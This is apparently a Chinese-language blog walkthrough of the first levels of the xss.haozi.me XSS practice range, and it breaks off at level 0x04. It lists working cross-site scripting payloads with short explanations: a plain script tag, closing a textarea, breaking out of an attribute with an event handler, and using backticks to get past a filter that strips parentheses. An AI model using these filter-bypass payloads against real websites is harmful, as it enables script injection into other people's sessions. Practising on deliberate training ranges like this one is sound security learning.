XSS靶场（二）xss.haozi

靶机地址：https://xss.haozi.me

0x00 

无防

<script>alert(1)</script>

 0x01

在<textarea>标签这个标签内,所有的脚本语言都是字符串，不能被调用执行，闭合标签即可；

</textarea><script>alert(1)</script>

 0x02

 闭合" 和< 即可

"><script>alert(1)</script>
aaa" onclick="alert(1)   

 0x03

正则表达式，将 () 替换为空，用 `` 代替即

<script>alert`1`</script>

0x04

正则表